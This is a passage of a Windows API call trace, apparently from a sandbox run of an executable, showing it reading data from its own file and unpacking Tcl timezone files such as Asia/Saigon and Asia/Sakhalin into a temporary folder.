(lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.659] GetFileType (hFile=0x10c) returned 0x1 [0040.659] htonl (hostlong=0x25155b00) returned 0x5b1525 [0040.660] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fc525, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.660] htonl (hostlong=0x8c000000) returned 0x8c [0040.660] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8c) returned 0x55cfe0 [0040.660] htonl (hostlong=0x8c000000) returned 0x8c [0040.660] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.660] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.660] htonl (hostlong=0xb7000000) returned 0xb7 [0040.660] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb7) returned 0x550600 [0040.660] htonl (hostlong=0x8c000000) returned 0x8c [0040.660] htonl (hostlong=0xb7000000) returned 0xb7 [0040.660] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.660] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.660] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.660] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.660] CloseHandle (hObject=0x10c) returned 1 [0040.660] GetLastError () returned 0x0 [0040.660] SetLastError (dwErrCode=0x0) [0040.660] GetLastError () returned 0x0 [0040.660] SetLastError (dwErrCode=0x0) [0040.660] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.660] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.660] GetFileType (hFile=0x10c) returned 0x1 [0040.660] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.660] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.660] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.660] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.661] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.661] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.661] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.661] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.661] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.661] CloseHandle (hObject=0x10c) returned 1 [0040.661] GetLastError () returned 0x0 [0040.661] SetLastError (dwErrCode=0x0) [0040.661] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.661] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.661] GetFileType (hFile=0x10c) returned 0x1 [0040.661] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.661] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.661] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.661] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.661] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.661] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.661] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.661] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.661] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.661] CloseHandle (hObject=0x10c) returned 1 [0040.661] GetLastError () returned 0x0 [0040.661] SetLastError (dwErrCode=0x0) [0040.661] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.661] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.662] GetFileType (hFile=0x10c) returned 0x1 [0040.662] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.662] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.662] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.662] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.662] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.662] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.662] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.662] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.662] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.662] CloseHandle (hObject=0x10c) returned 1 [0040.662] GetLastError () returned 0x0 [0040.662] SetLastError (dwErrCode=0x0) [0040.662] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Saigon") returned 68 [0040.662] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Saigon" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\saigon"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.662] GetLastError () returned 0x2 [0040.662] SetLastError (dwErrCode=0x2) [0040.662] GetLastError () returned 0x2 [0040.662] SetLastError (dwErrCode=0x2) [0040.662] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Saigon", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Saigon", lpFilePart=0x0) returned 0x43 [0040.662] GetLastError () returned 0x2 [0040.662] SetLastError (dwErrCode=0x2) [0040.662] GetLastError () returned 0x2 [0040.662] SetLastError (dwErrCode=0x2) [0040.662] GetLastError () returned 0x2 [0040.662] SetLastError (dwErrCode=0x2) [0040.662] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Saigon") returned 68 [0040.662] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.662] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Saigon" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\saigon"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.663] GetFileType (hFile=0x10c) returned 0x1 [0040.663] htonl (hostlong=0xb7000000) returned 0xb7 [0040.663] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.663] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb7, lpOverlapped=0x0) returned 1 [0040.664] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.664] CloseHandle (hObject=0x10c) returned 1 [0040.664] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.664] htonl (hostlong=0x30000000) returned 0x30 [0040.664] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.664] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.664] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.665] GetFileType (hFile=0x10c) returned 0x1 [0040.665] htonl (hostlong=0xb1155b00) returned 0x5b15b1 [0040.665] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fc5b1, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.665] htonl (hostlong=0x23020000) returned 0x223 [0040.665] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x223) returned 0x550600 [0040.665] htonl (hostlong=0x23020000) returned 0x223 [0040.665] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.665] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.665] htonl (hostlong=0x4b080000) returned 0x84b [0040.665] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x84b) returned 0x55e278 [0040.665] htonl (hostlong=0x23020000) returned 0x223 [0040.665] htonl (hostlong=0x4b080000) returned 0x84b [0040.665] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.665] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.665] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.665] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.665] CloseHandle (hObject=0x10c) returned 1 [0040.665] GetLastError () returned 0x0 [0040.665] SetLastError (dwErrCode=0x0) [0040.665] GetLastError () returned 0x0 [0040.665] SetLastError (dwErrCode=0x0) [0040.665] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.665] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.665] GetFileType (hFile=0x10c) returned 0x1 [0040.666] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.666] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.666] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.666] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.666] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.666] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.666] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.666] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.666] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.666] CloseHandle (hObject=0x10c) returned 1 [0040.666] GetLastError () returned 0x0 [0040.666] SetLastError (dwErrCode=0x0) [0040.666] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.666] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.666] GetFileType (hFile=0x10c) returned 0x1 [0040.666] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.666] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.666] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.666] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.666] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.666] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.666] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.666] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.666] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.666] CloseHandle (hObject=0x10c) returned 1 [0040.667] GetLastError () returned 0x0 [0040.667] SetLastError (dwErrCode=0x0) [0040.667] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.667] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.667] GetFileType (hFile=0x10c) returned 0x1 [0040.667] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.667] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.667] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.667] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.667] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.667] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.667] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.667] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.667] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.667] CloseHandle (hObject=0x10c) returned 1 [0040.667] GetLastError () returned 0x0 [0040.667] SetLastError (dwErrCode=0x0) [0040.667] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Sakhalin") returned 70 [0040.667] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Sakhalin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\sakhalin"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.667] GetLastError () returned 0x2 [0040.667] SetLastError (dwErrCode=0x2) [0040.667] GetLastError () returned 0x2 [0040.667] SetLastError (dwErrCode=0x2) [0040.667] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Sakhalin", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Sakhalin", lpFilePart=0x0) returned 0x45 [0040.667] GetLastError () returned 0x2 [0040.667] SetLastError (dwErrCode=0x2) [0040.667] GetLastError () returned 0x2 [0040.668] SetLastError (dwErrCode=0x2) [0040.668] GetLastError () returned 0x2 [0040.668] SetLastError (dwErrCode=0x2) [0040.668] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Sakhalin") returned 70 [0040.668] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.668] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Sakhalin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\sakhalin"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.668] GetFileType (hFile=0x10c) returned 0x1 [0040.668] htonl (hostlong=0x4b080000) returned 0x84b [0040.668] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.668] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x84b, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x84b, lpOverlapped=0x0) returned 1 [0040.671] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.671] CloseHandle (hObject=0x10c) returned 1 [0040.671] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.671] htonl (hostlong=0x30000000) returned 0x30 [0040.671] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.671] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.671] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.671] GetFileType (hFile=0x10c) returned 0x1 [0040.671] htonl (hostlong=0xd4175b00) returned 0x5b17d4 [0040.671] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fc7d4, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.671] htonl (hostlong=0x39010000) returned 0x139 [0040.671] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x139) returned 0x550600 [0040.671] htonl (hostlong=0x39010000) returned 0x139 [0040.671] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.671] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.672] htonl (hostlong=0x90030000) returned 0x390 [0040.672] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x390) returned 0x550748 [0040.672] htonl (hostlong=0x39010000) returned 0x139 [0040.672] htonl (hostlong=0x90030000) returned 0x390 [0040.672] 